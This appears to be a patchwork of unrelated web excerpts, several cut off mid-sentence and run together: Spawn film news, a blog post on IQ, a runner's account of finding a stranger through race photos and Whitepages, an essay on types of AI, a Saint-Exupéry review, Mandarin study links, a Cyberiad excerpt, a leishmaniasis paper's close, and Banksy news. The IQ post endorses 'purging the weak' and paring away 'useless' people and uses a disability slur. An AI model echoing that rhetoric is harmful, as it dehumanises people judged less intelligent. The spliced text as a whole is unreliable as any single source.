The 1997 New Line Cinema adaptation of his comic is one of the worst movies ever made, so it’s understandable that he’s doing it or nobody will. I just wish he’d do whatever it took to move the needle a little quicker than it has been.
ComicBook has a positive update that quickly goes south. Here, let’s take a look.
“I’ve finished the script, and I’m in the process of editing,” McFarlane told ComicBook when asked for an update. “It’s 183 pages, and [producers] usually like 120. I still think it’s going to end up being about 140, because I’m putting in details for myself.”
The good news is that the script is finally complete. The bad news is that, since he wants to do it himself, the budget’s going to be super tight. This means compromised vision, which is also detailed by the addition of the need to trim nearly 45 pages out of the overly long screenplay.
Even at 140 pages we’re talking a long movie, and I fear the next Spawn, which McFarlane says he will direct, could end up back in movie purgatory.
For those who have never read a “Spawn” comic, here’s the plot breakdown, courtesy of Wiki:by Brett Stevens on April 20, 2017
Bryan Caplan finds himself confused by the link between recognizing the importance of IQ and wanting most of humanity dead. He argues for acceptance of fact without rancor, but seems perplexed by the vitriol expressed (h/t Outside In):
My fellow IQ realists are, on average, a scary bunch. People who vocally defend the power of IQ are vastly more likely than normal people to advocate extreme human rights violations. I’ve heard IQ realists advocate a One-Child Policy for people with low IQs. I’ve heard IQ realists advocate a No-Child Policy for people with low IQs. I’ve heard IQ realists advocate forced sterilization for people with low IQs. I’ve heard IQ realists advocate forcible exile of people with low IQs – fellow citizens, not just immigrants. I’ve heard IQ realists advocate murdering people with low IQs. …If someone says, “I’m more intelligent than other people, so it’s acceptable for me to murder them,” the sensible response isn’t, “Intelligence is a myth.” The sensible response is, “Are you mad? That doesn’t justify murder.” Advocating brutality in the name of your superior intellect is the mark of a super-villain, not a logician.
Generally, his point is agreeable, but that is mostly because human groups require a span of IQs to cover all of the roles in society. Every general needs soldiers, and every soldier needs a cascade of leaders in order to give him guidance so that he is not left alone and confused to make decisions he has no hope of getting correct.
However, as one of the misanthropes he describes — or as we might call it, a “human quality control advocate” — I can attest to the power of wanting to purge the weak. This comes more from the conditions of our time than an innate will to do harm based on this realization.
Let us look at the factors involved:
Overpopulation. There are too many of us, and too few good ones, especially in power. The urge to purge the excess and pare away the useless is great because daily, we see many people whose absence would make life better. Idiocracy. The herd rules us. When we look at the products available and the decisions made by our leaders, it is clear that mass opinion sways the day, and like a demonic compass it always points toward full retard. Stupidity. Our time is stupid. The cities are ugly, the jobs moronic, the culture idiotic. We want a war on stupidity and bad decision-making, and associate it with the stupid people we see among us.
We also live in a time of lies. IQ is denied, as well as most |
, and I knew he was a 5o year old man. That’s it. So first, I filtered through all of the Flying Pig’s half marathon results for men ages 50-54.
2. Because everyone starts in different corrals, I knew his finishing time could be a good bit faster or slower than mine based on whether he started ahead of or behind me, so I focused on people within a half an hour of my approximate finishing time (I have blocked the actual time from memory).
3. I then cross referenced the bib numbers in the results with the race photos and searched through them. The problem? Grey is a very popular shirt color in the 50-54 male demographic…and so are black shorts. So then I had to find other identifiers- in this case, the headband and headphones.
4. Finally, I came across a picture that matched. I audibly shrieked.
Now, if Thomas had Facebook, the search would have been over…but Thomas does not have Facebook, at least that I could find. The next step was therefore to search for everyone with his first and last name on Whitepages.com. I didn’t know what state he was from, but I figured Ohio would be a good start since that is where the race is and most participants are local. I got 4 matches with his first and last name and his age. Finally, I started searching the results by entering in the random cities that those 4 Thomases were from until I got a match! I’m sorry, I know you guys are so creeped out right now, but this was NECESSARY.
I was literally shaking when I called him because honestly, I was afraid he was going to be either a) really mad that his picture is everywhere b) really creeped out that I found him (can’t say I would blame him) or c) that it wouldn’t be the right Thomas and all my efforts would be for naught. Obviously, no one answered when I called and I left what was surely a very frantic sounding message on his voicemail. An hour later, I was on the phone with my grandma and the number called me back. Sorry, Nana! Gotta go! IT’S THOMAS!
And sure enough, I had found the right guy. Pretty much the first question he asked me was “Did my son put you up to this?” Fortunately, his son had called him just an hour before I did and told him that his picture was everywhere. Thomas thought it was a joke and when I called, he thought I was in on it. Nope! As you might expect from someone who made a shirt like that, he has an awesome sense of humor and was more than happy to talk to me about the race and the picture that has made him famous! Here’s the pseudo-interview (again, the kind of hard hitting journalism you’ve come to expect from me), during which I was so nervous that I am sure I sounded like an 11 year old girl meeting Justin Bieber. As always, italicized text indicates my enlightened thoughts and are not Thomas’ fault.
Was this your first half marathon?
No, it was my second. I ran the Pig in 2011 with my daughter also. My goal this year was to beat my time from last year.
Did you do it?
Yes, I did, but I was a little ticked off. My finish time was somewhere around 2:45, but I thought I could finish in the 2:30-2:39 range. My main goal was to beat 2:40. Well, I ate one of those GU gel things around mile 10 and started wretching (OMG! Sounds just like me!). I had to stop and catch my breath for about 5 minutes, during which time I saw the 2:45 guy run past. I was so mad! From that point on I made it my goal to catch up with that pace group, and then I made it my goal to beat them, which I did.
When and why did you start running?
I ran in high school and college, but life gets in the way. I started running again about 4-5 years ago as a way to get back in shape and spend time with my daughter, who is also a runner. We have run both half marathons together and we’re talking about running the full marathon next year, but I don’t know about that yet. (It was at this point that I pointed out to Thomas that if I have finished 27 marathons and I was running behind HIM, then clearly, he could do a marathon too.)
Where did you get the idea for the shirt?
Well, I thought about what would piss me off the most if I read it on a shirt that was in front of me. (I’m still laughing about that. Best reason ever.) I wanted to needle people as much as possible, kind of get to them, you know? I know it would motivate me! In 2011, my shirt said “Finish or Death,” and the front of my shirt said that this year, but I added the rest onto the back for this year.
What is the best comment anyone has made to you about the shirt?
I’m very hard of hearing and I wear two hearing aids, plus I always have my ipod and my headphones on, so even though I know people say things to me about it during the races, I don’t always hear them. A lot of people slap me on the back as they run past, though. This year, after the race, I was walking back to my car when a lady stopped me in the parking lot and said “I saw that damn shirt in front of me the whole race and I tried like anything to beat it and I couldn’t!” My response was “How did that make you feel?” (I died. Then he asked me if it was me that spoke to him in the parking lot, and I said no. He did beat me, though!)
When I explained to Thomas how I found him (including my results/picture cross referencing), he actually laughed and told me that HE DOES THAT to people that he finds in his finisher photos! He remembers people that he crosses the line with and then goes back and looks for their bib numbers in the pictures so he can see if he beat them or not. I about lost it. Thomas is officially my hero/new best friend. I told him that I am determined to conquer Flying Pig after my epic failure this year, and he said he would think about running the full too. He couldn’t believe that I travel and run as much as I do, but I couldn’t believe I was talking to the guy in the most talked about shirt on the internet.
And that, my friends, is the story of the man behind the best race shirt you’ll ever see. I hope you enjoyed meeting him as much as I did!13th February 2017
Types of Artificial Intelligence
This is a guest piece by forum member Yuli Ban.
Let’s talk about AI. I’ve decided to use the terms ‘narrow and general’ and ‘weak and strong’ as modifiers in and of themselves. Normally, weak AI is the same thing as narrow AI; strong AI is the same thing as general AI. But I mentioned elsewhere on the Internet that there certainly must be such a thing as ‘less-narrow AI.’ AI that’s more general than the likes of, say, Siri, but not quite as strong as the likes of HAL-9000. So my system is this:
• Weak Narrow AI
• Strong Narrow AI
• Weak General AI
• Strong General AI
• Super AI
Weak narrow AI (WNAI) is AI that’s almost indistinguishable from analogue mechanical systems. Go to the local dollar store and buy a $1 calculator. That calculator possesses WNAI. Start your computer. All the little algorithms that keep your OS and all the apps running are WNAI. This sort of AI cannot improve upon itself meaningfully, even if it were programmed to do so. And that’s the keyword— “programmed.” You need programmers to define every little thing a WNAI can possibly do.
We don’t call WNAI “AI” anymore, as per the AI Effect. You ever notice when there’s a big news story involving AI, there’s always a comment saying “This isn’t AI; it’s just [insert comp-sci buzzword].” Problem being, it is AI. It’s just not artificial general intelligence.
I didn’t use that mention of analogue mechanics passingly— this form of AI is about as mechanical as you can possibly get, and it’s actually better that way. Even if your dollar store calculator were an artificial superintelligence, what do you need it to do? Calculate math problems. Thus, the calculator’s supreme intellect would go forever untapped as you’d instead use it to factor binomials. And I don’t need SAI to run a Word document. Maybe SAI would be useful for making sure the words I write are the best they could possibly be, but actually running the application is most efficiently done with WNAI. It would be like lighting a campfire with Tsar Bomba.
Some have said that “simple computation” shouldn’t be considered AI, but I think it should. It’s simply “very” weak narrow AI. Calculations are the absolute bottom tier of artificial intelligence, just as the firing of synapses is the absolute bottom of biological intelligence.
WNAI can basically do one thing really well, but cannot learn to do it any better without a human programmer at the helm manually updating it regularly.
Strong narrow AI (SNAI) is AI that’s capable of learning certain things within its programmed field. This is where machine learning comes in. This is the likes of Siri, Cortana, Alexa, Watson, some chatbots, and higher-order game AI, where the algorithms can pick up information from their inputs and learn to create new outputs. Again, it’s a very limited form of learning, but learning’s happening in some form. The AI isn’t just acting for humans; it’s reacting to us as well, and in ways we can understand.
SNAI may seem impressive at times, but it’s always a ruse. Siri might seem smart at times, for example, but it’s also easy to find its limits because it’s an AI meant for being a personal virtual assistant, not your digital waifu ala Her. Siri can recognise speech, but it can’t deeply understand it, and it lacks the life experiences to make meaningful talk anyhow. Siri might recognise some of your favourite bands or tell a joke, but it can’t also write a comedic novel or actually genuinely have a favourite band of its own. It was programmed to know these things, based on your own preferences.
Even if Siri says it’s “not an AI”, it’s only using pre-programmed responses to say so. SNAI can basically do one thing really well and can learn to do that thing even better over time, but it’s still highly limited.
Credit: ymgerman
Weak general AI (WGAI) is AI that’s capable of learning a wide swath of things, even things it wasn’t necessarily programmed to learn. It can then use these learned experiences to come up with creative solutions that can flummox even trained professional humans. Basically, it’s as intelligent as a certain creature— maybe a worm or even a mouse— but it’s nowhere near intelligent enough to enhance itself meaningfully. It may be par-human or even superhuman in some regards, but it’s sub-human in others. This is what we see with the likes of DeepMind— DeepMind’s basic algorithm can basically learn to do just about anything, but it’s not as intelligent as a human being by far. In fact, DeepMind wasn’t even in this category until they began using a differentiable neural computing (DNC) system because it could not retain its previously learned information. Because it could not do something so basic, it was squarely strong narrow AI until literally a couple months ago.
Being able to recall previously learned information and apply it to new and different tasks is a fundamental aspect of intelligence. Once AI achieves this, it will actually achieve a modicum of what even the most cynical can consider “intelligence.”
DeepMind’s yet to show off the DNC in any meaningful way, but let’s say that, in 2017, they unveil a virtual assistant (VA) to rival Siri and replace Google Now. On the surface, this VA seems completely identical to all others. Plus, it’s a cool chatbot. Quickly, however, you discover its limits— or, should I say, its lack thereof. I ask it to generate a recipe on how to bake a cake. It learns from the Internet, but it doesn’t actually pull up any particular article— it completely generates its own recipe, using logic to deduce what particular steps should be followed and in what order. That’s nice— now, can it do the same for brownies?
If it has to completely relearn all of the tasks just to figure this out, it’s still strong narrow AI. If it draws upon what it did with cakes and figures out how to apply these techniques to brownies, it’s weak general AI. Because let’s face it— cakes and brownies aren’t all that different, and when you get ready to prepare them, you draw upon the same pool of skills. However, there are clear differences in their preparation. It’s a very simple difference— not something like “master Atari Breakout; now master Dark Souls; now climb Mount Everest.” But it’s still meaningfully different.
WGAI can basically do many things really well and can learn to do them even better over time, but it cannot meaningfully augment itself. That it has such a limit should be impressive, because it basically signals that we’re right on the cusp of strong general AI and the only thing we lack is the proper power and training.
Strong general AI (SGAI) is AI that’s capable of learning anything, even things it wasn’t programmed to learn, and is as intellectually capable as a healthy human being. This is what most people think of when they imagine “AI”. At least, it’s either this or SAI.
Right now, we have no analogue to such a creation. Of course, saying that we never will would be as if we were in the year 1816 and discussing whether SNAI is possible. The biggest limiting factor towards the creation of SGAI right now is our lack of WGAI. As I said, we’ve only just created WGAI, and there’s been no real public testing of it yet. Not to mention that the difference between WGAI and SGAI is vast, despite seemingly simple differences between the two. WGAI is us guessing what’s going on in the brain and trying to match some aspects of it with code, while SGAI is us building a whole digital brain.
Not to mention there’s the problem of embodied cognition— without a body, any AI would be detached from nearly all experiences that we humans take for granted. It’s impossible for an AI to be a superhuman cook without ever preparing or tasting food itself. You’d never trust a cook who calls himself world-class, only come to find out he’s only ever made five unique dishes, nor has he ever left his house. For AI to truly make the leap from WGAI to SGAI, it’d need someone to experience life as we do. It doesn’t need to live 70 years in a weak, fleshy body— it could replicate all life experiences in a week if need be if it had enough bodies— but having sensory experiences helps to deepen its intelligence.
Super AI or Artificial Superintelligence (SAI or ASI) is the next level beyond that, where AI has become so intellectually capable as to be beyond the abilities of any human being.
The thing to remember about this, however, is that it’s actually quite easy to create ASI if you can already create SGAI. And why? Because a computer that’s as intellectually capable as a human being is already superior to a human being. This is a strange, almost Orwellian case where 0=1, and it’s because of the mind-body difference.
Imagine you had the equivalent of a human brain in a rock, and then you also had a human. Which one of those two would be at a disadvantage? The human-level rock. And why? Because even though it’s as intelligent as the human, it can’t actually act upon its intelligence. It’s a goddamn rock. It has no eyes, no mouth, no arms, no legs, no ears, nothing.
That’s sort of like the difference between SGAI and a human. I, as a human, am limited to this one singular wimpy 5'8" primate body. Even if I had neural augmentations, my body would still limit my brain. My ligaments and muscles can only move so fast, for example. And even if I got a completely synthetic body, I’d still just have one body.
An AI could potentially have millions. If not much, much more. Bodies that aren’t limited to any one form. Basically, the moment you create SGAI is the moment you create ASI. From that bit of information, you can begin to understand what AI will be capable of achieving.
Recap:
“Simple” Computation = Weak Narrow Artificial Intelligence. These are your algorithms that run your basic programs. Even a toddler could create WNAI.
Machine learning and various individual neural networks = Strong Narrow Artificial Intelligence. These are your personal assistants, your home systems, your chatbots, and your victorious game-mastering AI.
Deep unsupervised reinforcement learning + differentiable spiked recurrent progressive neural networks = Weak General Artificial Intelligence. All of those buzzwords come together to create a system that can learn from any input and give you an output without any pre-programming.
All of the above, plus embodied cognition, meta neural networks, and a master neural network = Strong General Artificial Intelligence. AGI is a recreation of human intelligence. This doesn't mean it's now the exact same as Bob from down the street or Li over in Hong Kong; it means it can achieve any intellectual feat that a human can do, including creatively coming up with solutions to problems just as good as, or better than any human. It has sapience. SGAI may be very humanlike, but it's ultimately another sapient form of life all its own.
All of the above, plus recursive self-improvement = Artificial Superintelligence. ASI is beyond human intellect, no matter how many brains you get. It's fundamentally different from the likes of Einstein or Euler. By the very nature of digital computing, the first SGAI will also be the first ASI.
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Comments »The French pilots in Corsica knew Saint-Exupéry as a prize-winning author and a pioneer of aviation. The Americans knew him only as an outsized, overaged, undertrained wreck of a man, one who only eight weeks into his time with them mangled an $80,000 aircraft. For that mishap he was unceremoniously grounded. He begged for leniency; he was, he protested, willing to die for his country. ''I don't give a damn if you die for France or not,'' Col. Leon Gray informed Saint-Exupéry, ''but you're not going to do so in one of our airplanes.'' It was a case of one national treasure against another.
It was also a case in which Saint-Exupéry got his way. He had long outlived the era in which he felt comfortable; he could imagine himself nowhere but in the cockpit of a plane. He had all his life dreamed of escape, pined for broader horizons, threatened to change planets. More and more he felt alienated from his own countrymen, whose infighting he had criticized; fiercely anti-Nazi, he supported neither de Gaulle nor the Communists. He predicted that liberation would not put France out of its misery. ''Many people,'' he warned in 1944, ''are going to be shot next year.'' In a particularly bleak mood he imagined himself to be one of them.
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From his personal frustrations and his inability to make his political positions understood came ''The Little Prince,'' the modest volume under which has swelled a great grassy knoll of literature. Published in 1943 but a best seller only later, the text read eerily as a death foretold, its mystique enhanced by the parallel between author and subject: imperious innocents whose lives consist of equal parts flight and failed love, who fall to earth, are little impressed with what they find here and ultimately disappear without a trace.
Naturally it is easier to predict your own death if you are willing to commit suicide, and for those inclined to such readings there is the mystical matter of the sunsets. The little prince lives on a planet so small that he is able to watch the sun set precisely 44 times in a day -- case-clinchingly, the age of Saint-Exupéry at his death. (For some inexplicable reason, the prince witnesses 44 sunsets only in the English translation. In the original, he watches 43.) That Saint-Exupéry had no desire to go on living was clear; that he meant to kill himself is not.
With the discovery of his aircraft, however, that theory has been dredged up again in the French press. It has been to protect him from the indignity of that charge -- and to sustain a valuable myth -- that Saint-Exupéry's family has long opposed all searches for his aircraft. Presumably too they would prefer to avoid appropriating statements like that offered up by the mayor of Marseille. He greeted the news with the pronouncement that ''Saint-Exupéry's disappearance has become the symbol of the Resistance and the Liberation of Provence.'' Saint-Exupéry's fate remains constant. It seems the myth will always be cultivated at the expense of the man.
What does change is ''The Little Prince,'' restored at last to what it was in its author's lifetime: a work of fiction. It has long carried a heavy load, more than any book should have to; no one ever expected P. L. Travers to be carried off by the west wind. Saint-Exupéry's fairy tale is free again to tangle not with its author's enigma, but with the mysteries that so befuddled him: it is lonely among men; language remains the source of misunderstandings; more than ever, we rush around recklessly, recklessly uncertain of what we're looking for. It may be more difficult to lose an aircraft in the Mediterranean than once it was, but some riddles endure.
As do a few truths about Saint-Exupéry's end. His was a noble death, made in the name of the greater good to which all of his literature returns. As his widow noted, the exit was custom-made, a meteoric fall at the end of a star-chasing life. (It was also an advantageous death. The French author who dies for France finds his copyrights extended for 30 years beyond the norm.)
The end shows every sign as well of having been the one Saint-Exupéry wanted. In the 1930's he was asked if, given an already impressive catalog of close calls, he had come to prefer one death to another. Stipulating that his answer was not for publication until he was ''truly dead,'' he opted for water. ''You don't feel yourself dying,'' he reported, on uncomfortably good authority. ''You feel simply as if you're falling asleep and beginning to dream.'' And there, surely, we can leave him.大家好！ (Hi, everyone!) Welcome to the latest Mandarin Weekly, with yet more links and information for those of us learning Chinese.
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Year of the ____
We are marking the start of the Year of the Monkey. What are the other animals in the Chinese zodiac, and where do they come from?
https://www.writtenchinese.com/legend-chinese-new-year-animals/
Twitter: @WrittenChinese
Writing the zodiacal signs
Want to write the characters for all 12 animals in the zodiac? Chris from Fluent in Mandarin provides some insights:
http://www.fluentinmandarin.com/content/how-to-write-the-12-chinese-zodiac-animal-signs/
Twitter: @Fluent_Mandarin
Learning to write
A detailed introduction to writing in Chinese; if you’re interested in getting deeper into the characters, then writing is a good way to do it:
https://sensiblechinese.com/how-to-learn-chinese-characters/
Twitter: @FluentChinese
Common grammar particles
When you learn Chinese, you quickly discover that a large number of characters come up all of the time, on their own and as part of words. Identifying these characters, and knowing how they affect the grammar of your sentences, is important — and DigMandarin provides us with a list and explanation:
http://www.digmandarin.com/commonly-used-chinese-grammar-particles.html
Twitter: @DigMandarin
Forgetful
An explanation of the chengyu (four-character phrase) 丢三落四 (diū sān là sì), meaning forgetful or absent-minded:
https://mandarinfriend.wordpress.com/2016/02/05/chengyu-explanations-%E4%B8%A2%E4%B8%89%E8%90%BD%E5%9B%9B/
Monkey words
It’s the Year of the Monkey, so why not learn a bunch of words that contain 猴 (hóu)?
http://www.digmandarin.com/interesting-idioms-slang-that-use-hou.html
Twitter: @DigMandarin
For the birds
An introduction to a common word (and character component), 鸟 (niǎo), or bird:
http://themandarincornerblog.com/2016/02/01/what-the-hell-and-foreign-devils/
Listening challenge
It’s time for another Hacking Chinese challenge, this time listening: How much Chinese can you listen to, in order to sensitize your ears and brain to the sounds of the language?
http://www.hackingchinese.com/chinese-listening-challenge-february-10th-to-29th/
Twitter: @HackingChinese
New Year traditions
How do people celebrate Chinese New Year in China? This article provides us with a list of common traditions, as well as the vocabulary to describe them:
http://www.digmandarin.com/8-things-you-might-not-know-about-chinese-new-year.html
Twitter: @DigMandarin
More New Year traditions
Not surprisingly, several blogs wrote this week with a bunch of New Year-related words and phrases. Here are some from Du Chinese:
http://www.duchinese.net/blog/16-chinese-new-year-do-s-and-don-ts
Twitter: @DuChinese
Even more New Year traditions
Here are even more explanations, vocabulary, and phrases about the New Year celebration:
http://speakupchinese.tumblr.com/post/138224129866/chinese-new-year-traditions#notes
Twitter: @SpeakUpChinese
Popular online words
A list (with explanations) of the most popular words used online in China over the last year:
http://www.getchinesetic.com/2016/01/the-10-most-popular-words-on-internet.html
New Year discussion
YoYoChinese sponsored this video hangout with Yangyang Cheng and actor Jeff Locker, in which they discuss Chinese New Year and other Chinese-related words, phrases, and ideas:
https://www.youtube.com/watch?v=Nnknv_NuTtU
Twitter: @YoYoChinese
Happy New Year!
Here are 25 greetings and phrases to use when wishing your Chinese friends and family well during this holiday:
http://www.fluentu.com/chinese/blog/2016/02/01/chinese-new-year-greetings/
Twitter: @FluentU
New Year songs
Want to sing your way through the start of the Year of the Monkey? Here are eight songs (and videos) you can listen to, and learn from:
http://www.fluentu.com/chinese/blog/2016/02/01/chinese-new-year-songs/
Twitter: @FluentU
The story of money
Why do Chinese parents give their children money on Chinese New Year? This story provides some background, and listening/reading practice:
http://www.echineselearning.com/blog/yasuiqian-de-gushi-the-story-of-pocket-money-on-lunar-new-years-day-beginner
Twitter: @ECLSchool
Yet more New Year phrases
It’s that time of year; here are a few more New Year-related words, phrases, and traditions:
http://www.touchchinese.com/learn-chinese-online/monkey-expressions-for-the-year-of-the-monkey.html
New Year video
ChinesePod produced a video for Chinese New Year, teaching some useful phrases and greetings:
https://www.youtube.com/watch?v=Or5ekVFmQ70
Twitter: @ChinesePod
New Year shopping in Taiwan
What do Chinese people buy for their New Year celebration? This video from ChinesePod visits the Taipei holiday market:
https://www.youtube.com/watch?v=d0hsg2wQpm8
Twitter: @ChinesePod
Madame President
The new president of Taiwan is Tsai Ing-wen. How is her name pronounced? Olle Linge posts on About.com with some advice:
http://mandarin.about.com/od/pronunciation/fl/How-to-pronounce-Tsai-Ing-wen-Cai-Ying-wen.htm
How to practice
How can you improve your usage and pronunciation? The key is practice; in this discussion, experienced students of Chinese suggest ways in which a beginner (or not-so-beginner) can improve:
http://chinese.stackexchange.com/questions/17132/how-can-i-get-exposure-to-mandarin-usage-and-pronounciation
Nouns and 子
How does adding 子 to another character, often used in noun words, change their meanings, if at all?
https://www.reddit.com/r/ChineseLanguage/comments/440244/how_does_adding_%E5%AD%90_to_the_end_of_certain_nouns/
Have a seat
Is there a difference between 坐下来 (zuò xia lái) and 坐下去 (zuò xia qù)? These “resultative verb endings” can change the direction of intent, as described here:
http://forum.wordreference.com/threads/%E5%9D%90%E4%B8%8B%E6%9D%A5-%E5%9D%90%E4%B8%8B%E5%8E%BB.3131900/
Do me a favor
How can you ask someone in China to do something for you? Two common phrases are 麻烦你 (máfan nǐ) and 请给我 (qǐng gěi wǒ), but do they mean the same thing? (The short answer: No.)
http://www.chinese-forums.com/index.php?/topic/50869-m%C3%A1fan-n%C7%90-vs-q%C7%90ng-g%C4%9Bi-w%C7%92/
It has been a while
How do you say that it has been a while since you were at the Great Wall? A discussion of saying “it has been a while”:
http://forum.wordreference.com/threads/i-havent-been-to-the-great-wall-for-a-long-time.3132954/
Did you bring it?
How do you ask someone if they have brought something? This discussion compared a few different phrases that might seem similar:
http://forum.wordreference.com/threads/%E5%B8%A6-%E4%BA%86%E5%90%97-vs-%E5%B8%A6%E6%9D%A5-%E4%BA%86%E5%90%97-vs-%E5%B8%A6-%E6%9D%A5%E4%BA%86%E5%90%97.3133756/
Just about right
How do you say “almost” in Chinese? There are a few different words for this, with different meanings and uses:
http://chinese.stackexchange.com/questions/17125/the-correct-usage-of-%E5%A4%A7%E7%BA%A6-vs-%E5%B7%AE%E4%B8%8D%E5%A4%9A
It’s all business
A short discussion of different ways to say “business” or “industry” in Chinese:
http://chinese.stackexchange.com/questions/17138/%E4%BA%A7%E4%B8%9A-vs-%E4%BC%81%E4%B8%9A-vs-%E5%95%86%E4%B8%9A-whats-the-difference“There was something....but I forget just what,” said the King, back in front of the Cabinet That Dreamed. “But why are you, Subtillion, hopping about on one leg like that and holding the other?”
“It’s – it’s nothing, Your Highness...a touch of rhombotism... must be a change in the weather,” stammered the craft Thaumaturge, and then continued to tempt the King to sample yet another dream. Zipperupus thought awhile, read through the Table of Contents and chose, “The Wedding Night of Princess Ineffabelle.” And he dreamt he was sitting by the fire and reading an ancient volume, quaint and curious, in which it told, with well-turned words and crimson ink on gilded parchment, of the Princess Ineffabelle, who reigned five centuries ago in the land od Dandelia, and it told of her Icicle Forest, and her Helical Tower, and the Aviary That Neighed and the Treasury with a Hundred Eyes, but especially of her beauty and abounding virtues. And Zipperupus longed for this vision of loveliness with a great longing, and a mighty desire was kindled within him and set his soul afire, tat his eyeballs blazed like beacons, and he rushed out and searched every corner of the dream for Ineffabelle, but she was nowhere to be found, indeed, only the very oldest robots had ever heard of that princess. Weary from his long peregrinations, Zipperupus came at last to the centre of the royal desert, where the
Excerpt from “The Tale of the Three Story Telling Machines,” from The Cyberiad bt Stanislaw Lem, translated bt Michael Kandel. Copyright © 1974 by The Seabury Press, Inc. Reprinted by permission of The Continuum Publishing Corporation.
Dunes were gold plated, and there espied a humble hut; when he approached it, he saw an individual of patriarchal appearance, in a robe as white as snow. The latter rose and spake thusly:
“Thou seekest Ineffabelle, poor wretch” And yet thou knowest full well she doth not live here these five hundred years, hence how vain and unavailing is thy passion? The only thing that I can do for thee is to let thee see her – not in the flesh, forsooth, but a fair informational facsimile, a model that is digital, not physical, stochastic, not plastic, ergodic and most assuredly erotic, and all in yon Black Box, which I constructed in my spare time out of odds and ends!”
“Ah, show her to me, show her to me now!” exclaimed Zipperupus, quivering. The patriarch gave a nod, examined the ancient volume for the princess’s coordinates, put her and the entire Middle Ages on punch cards, wrote up the program, threw the switch, lifted the lid of the Black Box and said.
“Behold!”
The King leaned over, looked an saw, yes, the Middle Ages simulated to a T, all digital, binary, and nonlinear, and there was the land of Dandelia, The Icicle Forest, the palace with the Helical Tower, the Aviary That Neighed, and the Treasury with a Hundred Eyes as w ell, and there was Ineffabelle herself, taking a slow, stochastic stroll through he simulated garden, and her circuits glowed red and gold as she picked simulate daisies, and hummed a simulated song. Zipperupus, unable to restrain himself any longer, leaped upon the Black Box and in his madness tried to climb into that computerized world. The patriarch, however, quickly killed the current, hurled the King to the earth and said.
“Madman! Wouldst attempt the impossible?! For no being made of matter can ever enter a system that is naught but the flux and swirl of alphanumerical elements, discontinuous integer configurations, the abstract stuff of digits!”
“But I must, I must!!” bellowed Zipperupus, beside himself, and beat his head against the Black Box until the metal was dented. The old sage then said:
“If such is they inalterable desire, there is a way I can connect thee to the Princess Ineffabelle, but first thou must part with thy present form, for I shall take thy appurtenant coordinates and make a program of thee, atom by atom, and place thy simulation in that world medievally modeled, informational and representational, and there it will remain, enduring as long as electrons course through these wires and hop from cathode to anode. But thou, standing here before me now, thou will be annihilated.
So that thy only existence may be in the form of given fields and potentials, statistical, heuristical, and wholly digital!”
“That’s hard to believe,” said Zipperupus. “How will I know you’ve simulated me, and not someone else?”
“Very well, we’ll make a trial run,” said the sage. And he took all the King’s measurements, as for a suit of clothes, though with much greater precision, since every atom was carefully plotted and weighed, and then he fed the program into the Black Box and said:
“Behold!”
The King peered inside and saw himself sitting by |
rapid diagnosis tests, possibly similar to the point-of-care diagnostic tests under development for VL [70]. Currently, diagnoses are performed by specialized dermatologists and can only be confirmed by a stained smear or culture from a skin lesion, which require laboratory settings. The lack of a rapid diagnosis test slows the process of diagnosis and leads to delayed treatment and greater risk for misdiagnosis of CL. Development of a commercially available vaccine for Old World CL should also be made a priority, as one does not currently exist even though it would enhance efficacy of disease and vector control programs [71,72]. A recent analysis confirms the cost-effectiveness for a vaccine that targets either New World CL [72] or Old World VL [73]. Additionally, research assessing how best to address the socioeconomic and psychological impacts of CL on patients as well as the cultural stigma of papules left by CL would facilitate a more well-rounded approach to confronting the consequences of CL outbreaks. These research projects should be specific to the dynamics of local communities and cultures. Micro-financing programs may alleviate some of the economic hardships often associated with CL; however, the feasibility of micro-financing programs in conflict-affected communities is still being debated [74]. A multifaceted, collaborative approach must be taken to control the incidence of CL [7,75], with priority given to initiatives that will not only aid in the prevention and control of CL but also improve the living conditions and survival of refugee populations. The World Health Assembly already adopted a resolution in 2007 to address the global burden of leishmaniasis [67], but immediate action must be taken to address the spreading burden of CL in the Middle East. By no fault of their own, refugees and displaced individuals are often fleeing from one unimaginable circumstance of horror and violence to another of poverty and disease. International communities have a responsibility to pay greater attention to this pressing issue, and it is imperative that proactive measures are taken to establish efficient and sustainable initiatives aimed at diagnosing, treating, and preventing CL as the conflicts in Syria, Iraq, Libya, and Yemen continue.People gather near an installation by British graffiti artist Banksy in the Bronx section of New York October 21, 2013. Known for his anti-authoritarian black-and-white stenciled images, which have sold at auction for upwards of $2 million, Banksy is treating New Yorkers to a daily dose of spray-painted art - while eluding the police and incurring the wrath of New York Mayor Michael Bloomberg. REUTERS/Eric Thayer (UNITED STATES - Tags: SOCIETY)
New Yorkers lucky enough to own a building with one of street artist Banksy's newest works have taken to hiring security guards. And with good reason -- similar works in England have sold for more than $1 million.
In the South Bronx, building owner David Damaghi hired two guards to protect a Banksy work depicting a small boy spray painting while a butler held his paint cans, the web site Gothamist reported. In the Red Hook section of Brooklyn, a building owner hired a guard after a different graffiti artist painted his own tag under a Banksy red balloon. And in Williamsburg, owners installed a pull-down metal gate and hired guards to protect a piece after it was almost defaced.
Banksy's outdoor paintings, cut from walls, doors and the sides of buildings have sold for more than $1 million. In June, a mural of a boy sewing a Union Jack flag, known as "Slave Labour," sold for $1.1 million at a private auction. The work had been removed from the wall of a local retail shop in North London in February.
Even without an auction, having Banksy's work visible on a building can lift its value. After Banksy painted a huge rat on the side of boarded-up Liverpool pub in 2008, the building's value increased by an estimated $800,000.
Street art by Banksy has sold for between $350,000 to more than $1.2 million, says Robin Barton, who runs the Bankrobber Gallery in London and deals in such works. But calculating the value of the recent works may be tricky, as they're less impressive to Barton. "I don't particularly rate the new NY works," he says.
Sales of Banksy's outdoor art have been controversial. While a group known as Pest Control validates the authenticity of Banksy's gallery art, it does not opine on street works. Major auction houses like Christie's won't sell alleged Banksy works lacking the validation.
Banksy sanctioned a small sale of signed canvases in New York, but with his usual sense of humor. At a stall in Central Park, a man working for Banksy sold the artist's canvases for $60, a fraction of their market value. Banksy later posted a video of the stall, including a tourist haggling down the price in one sale.
The mystery British graffiti artist has been in New York City all month, working on what he calls his "Better Out Than In" visit. No one has disclosed Banksy's identity since he first began spray-painting his iconic images in 1993 in England.
His works in New York have ranged from a depiction of the attacked World Trade Center towers with a flower emerging instead of a plume of smoke, to a silhouette of a dog relieving itself on a fire hydrant. Banksy has been posting pictures of each new work in New York City on his web site.February 12, 2016 at 05:20 Tags Book reviews, Concurrency
